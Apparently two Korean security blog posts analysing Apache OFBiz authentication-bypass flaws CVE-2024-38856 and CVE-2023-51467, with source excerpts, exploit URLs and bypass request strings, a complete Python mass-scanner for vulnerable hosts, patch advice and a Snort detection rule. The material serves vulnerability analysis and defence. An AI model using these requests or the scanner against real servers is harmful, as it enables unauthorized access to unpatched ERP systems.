1. CVE-2024-38856 [1]

[사진 1] CVE-2024-38856

- Apache OFBiz잘못된 인증으로 인해 인증을 거치지 않고 원격 코드 실행이 가능한 취약점

> 공격자들의 익스플로잇을 위한 스캔이 활발히 이루어지는 중

영향받는 버전: Apache OFBiz 18.12.14 이하 버전

 

2. 주요내용 [2]

- 취약점 악용에 사용되는 URL은 다음과 같음

> POST /webtools/control/forgotPassword/ProgramExport

> POST /webtools/control/main/ProgramExport

> POST /webtools/control/showDateTime/ProgramExport

> POST /webtools/control/view/ProgramExport

> POST /webtools/control/TestService/ProgramExport

 

- 사용자 요청 수신시 서버는 path , requestUri overrideViewURI 변수의 값을 초기화 진행

> getRequestUri()를 호출하여 requestUri 초기화

> getOverrideViewUri()를 호출하여 overrideViewUri 초기화

* /forgotPassword/ProgramExport URL을 대상으로 분석

[사진 2] requestUri 및 overrideViewURI 변수 초기화

- getRequestUri()경로를 “/”로 분할한 후 0번째 요소의 값 반환

> URL /forgotPassword/ProgramExport에서 0번째 요소 값은 forgotPassword(반환 값)

[사진 3] getRequestUri()

- getOverrideViewUri() 또한 경로를 “/”로 분할한 후 1번째 요소 값 반환

> URL /forgotPassword/ProgramExport에서 1번째 요소 값은 ProgramExport(반환 값)

[사진 4] getOverrideViewUri()

- requestUri overrideViewURI 변수는 다음과 같이 초기화됨

> requestUri 변수 = forgotPassword

> overrideViewUri 변수 = ProgramExport

[사진 5] 초기화 결과

- 인증 검사requestUri 값에 대해 수행

> 앞선 초기화 결과 값의 차이로 인해 버그가 발생하여 잘못된 요청이 허용될 수 있는 것으로 판단됨

> 잘못된 요청의 경우 securityAuth 값이 false가 되어 인증을 필요로 하지 않음

[사진 6] 잘못된 요청(위) 및 정상 요청(아래)의 securityAuth 차이

- 마지막으로, ProgramExport 뷰를 렌더링하여 인증 없이 제공된 코드를 실행할 수 있음

[사진 7] ProgramExport

- 익스플로잇 예시 및 시연 영상 [3]

[사진 8] 익스플로잇 예시

3. 대응방안

- 벤더사 제공 업데이트 적용 [4]

> 권한 검사 기능을 도입: security.hasPermission() 추가 [5]

제품명 영향받는 버전 해결 버전
Apache OFBiz ~ 18.12.14 18.12.15

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-38856
[2] https://blog.sonicwall.com/en-us/2024/08/sonicwall-discovers-second-critical-apache-ofbiz-zero-day-vulnerability/#top
[3] https://d3ik27cqx8s5ub.cloudfront.net/blog/media/uploads/poc.mp4?_=1
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71517&menuNo=205020
[5] https://github.com/apache/ofbiz-framework/commit/9b20a93c2487cca47392e6489472495ab4719447
[6] https://securityaffairs.com/166612/hacking/critical-apache-ofbiz-flaw.html
[7] https://www.boannews.com/media/view.asp?idx=131858&page=1&kind=1

1. Apache OfBiz [1]

- 오픈 소스 ERP(Enterprise Resource Planning) 시스템

- ERP(Enterprise Resource Planning, 전사적자원관리 ) : 재고, 회계, 인사, 급여 등 기업의 모든 업무를 통합해 관리할 수 있는 시스템

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-51467 [2]

 

- 로그인 기능에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> CVE-2023-49070에 대한 불완전한 패치로 인한 인증 우회 취약점

> 취약점을 악용에 성공한 공격자는 SSRF 공격을 수행할 수 있게 됨

영향받는 버전
- Apache OFbiz 18.12.11 이전 버전

 

CVE-2023-49070 [3]
- 인증되지 않은 공격자가 인증 과정을 우회하여 원격 명령을 실행할 수 있게되는 취약점 (CVSS: 9.8)
더 이상 사용 및 유지되지 않는 Apache XML-RPC 구성요소가 포함되어 있어 발생 [4][5]
사용하지 않는 XML-RPC 관련 코드를 제거하여 패치 제공 [6]
- PoC: /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y [7]
- 영향받는 버전: Apache OFBIz 18.12.10 이전 버전

 

2.1 취약점 상세

- LoginWorker.java 파일의 requirePasswordChange 매개변수에 의해 발생 [8][9]

> 매개변수 USERNAME, PASSWARD는 공백 또는 임의의값requirePasswordChange는 Y로 설정하여 요청 전송

 

2.1.1 케이스 ①

- USERNAME 및 PASSWARD는 공백, requirePasswordChange는 Y로 설정한 경우

※ Java에서 공백(빈값으로 초기화되어 메모리 할당)과 Null(초기화되지 않은 상태)은 서로 다른 값

Target_URL/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #437 ~ #448)는 requirePasswordChange 값을 반환 [10]

List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.username_was_empty_reenter”, UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.password_was_empty_reenter”, UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = “Y”.equals(request.getParameter(“requirePasswordChange”));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute(“_ERROR_MESSAGE_LIST_”, unpwErrMsgList);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

- 그 후, login 함수의 반환 값이 checkLogin 함수(LoginWorker.java 파일 #343 ~ #346) 에 전달

> 결과적으로 "success"를 반환하여 인증을 우회 [11]

if (userLogin == null) {
// check parameters
username = request.getParameter(“USERNAME”);
password = request.getParameter(“PASSWORD”);
token = request.getParameter(“TOKEN”);
// check session attributes
if (username == null) username = (String) session.getAttribute(“USERNAME”);
if (password == null) password = (String) session.getAttribute(“PASSWORD”);
if (token == null) token = (String) session.getAttribute(“TOKEN”);
if (username == null || (password == null && token == null) || “error”.equals(login(request, response))) {

 

2.1.2 케이스 ②

- USERNAME 및 PASSWARD는 임의의 값, requirePasswordChange는 Y로 설정한 경우

Target_URL/webtools/control/ping?USERNAME=test&PASSWORD=test&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #601 ~ #605)는 requirePasswordChange 값을 반환 [12]

> 결과적으로 "success"를 반환하여 인증을 우회

} else {
Map<String, String> messageMap = UtilMisc.toMap(“errorMessage”, (String) result.get(ModelService.ERROR_MESSAGE));
String errMsg = UtilProperties.getMessage(resourceWebapp, “loginevents.following_error_occurred_during_login”, messageMap, UtilHttp.getLocale(request));
request.setAttribute(“_ERROR_MESSAGE_”, errMsg);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

2.2 PoC [13]

- 대상 URL 취약점에 영향받는지 확인하는 스캐너
> 매개변수를 USERNAME, PASSWORD, requirePasswordChange 조작하여 요청 전송

import os
import argparse
import requests
import concurrent.futures

from threading import Lock
from rich.console import Console
from typing import List, Optional
from urllib.parse import urlparse
from alive_progress import alive_bar
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
console = Console()


class CVE_2023_51467:
    def __init__(self, urls: List[str], threads: int, output_file: str):
        self.urls = urls
        self.threads = threads
        self.output_file = output_file
        self.file_lock = Lock()

    def check_url(self, base_url: str) -> Optional[str]:
        parsed_url = urlparse(base_url)
        schemes = ["http", "https"] if not parsed_url.scheme else [parsed_url.scheme]
        for scheme in schemes:
            url = f"{scheme}://{parsed_url.netloc}{parsed_url.path}"
            if self.is_url_accessible(url):
                return url
        return None

    def is_url_accessible(self, url: str) -> bool:
        try:
            response = requests.head(url, verify=False, timeout=5, allow_redirects=True)
            return response.status_code < 500
        except requests.RequestException:
            return False

    def scan_url(self, base_url: str):
        target_url = self.check_url(base_url)

        if target_url:
            try:
                response = requests.get(
                    f"{target_url}/webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y",
                    verify=False,
                    timeout=10,
                    allow_redirects=True,
                )

                if response.status_code == 200 and "PONG" in response.text:
                    console.log(
                        f"Vulnerable URL found: {base_url}, Response: {response.text.strip()}"
                    )
                    vulnerable_url = f"{urlparse(target_url).scheme}://{urlparse(target_url).netloc}\n"
                    with self.file_lock:
                        with open(self.output_file, "a") as file:
                            file.write(vulnerable_url)
            except Exception as e:
                console.log(f"Error scanning {base_url}: {e}")

    def run(self):
        with alive_bar(len(self.urls), enrich_print=False) as bar:
            with concurrent.futures.ThreadPoolExecutor(
                max_workers=self.threads
            ) as executor:
                future_to_url = {
                    executor.submit(self.scan_url, url): url for url in self.urls
                }
                for _ in concurrent.futures.as_completed(future_to_url):
                    bar()


def main():
    script_name = os.path.basename(__file__)
    parser = argparse.ArgumentParser(
        description="CVE-2023-51467 Scanner: Scans URLs for a specific vulnerability associated with CVE-2023-51467.",
        epilog=f"Example usage:\n"
        f"    python {script_name} -u http://example.com\n"
        f"    python {script_name} -f urls.txt -o output.txt -t 50",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-u", "--url", help="Single URL to send GET request to")
    parser.add_argument(
        "-f", "--file", help="File containing list of base URLs to scan"
    )
    parser.add_argument(
        "-o",
        "--output",
        default="output.txt",
        help="File to write vulnerable systems to",
    )
    parser.add_argument(
        "-t",
        "--threads",
        type=int,
        default=10,
        help="Number of concurrent threads to use",
    )
    args = parser.parse_args()

    urls = []
    if args.file:
        with open(args.file, "r") as file:
            urls = [line.strip() for line in file]
    elif args.url:
        urls.append(args.url)
    else:
        console.log("No URL or file provided")
        return

    scanner = CVE_2023_51467(urls, args.threads, args.output)
    scanner.run()


if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [14]

> login 함수에 requirePasswordChange 값 대신 Error Message를 출력하도록 변경

> checkLogin 함수에 UtilValidate.isEmpty() 함수를 추가해 빈 값 여부 확인

제품명 영향받는 버전 해결 버전
Apache OFBiz 18.12.11 이전 버전 18.12.11

 

- 탐지 정책 적용 등 모니터링 수행

alert tcp any any -> any any (msg:"CVE-2023-51467 Apache OFBiz"; flow:to_server,established; content:"GET"; http_method; content:"/webtools/control/"; http_uri; content:"USERNAME="; http_uri; content:"&PASSWORD="; http_uri; content:"&requirePasswordChange=Y"; http_uri; rev:1;)

 

4. 참고

[1] https://ofbiz.apache.org/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-51467
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-49070
[4] https://issues.apache.org/jira/plugins/servlet/mobile#issue/OFBIZ-12812
[5] https://github.com/advisories/GHSA-6vwp-35w3-xph8
[6] https://github.com/apache/ofbiz-framework/commit/c59336f604
[7] https://twitter.com/Siebene7/status/1731870759130427726
[8] https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/
[9] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
[10] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L391C5-L607C6
[11] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L323C5-L381C6
[12] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L601C11-L605C78
[13] https://github.com/Chocapikk/CVE-2023-51467
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71272&menuNo=205020
[15] https://www.boannews.com/media/view.asp?idx=125343&page=1&kind=1

+ Recent posts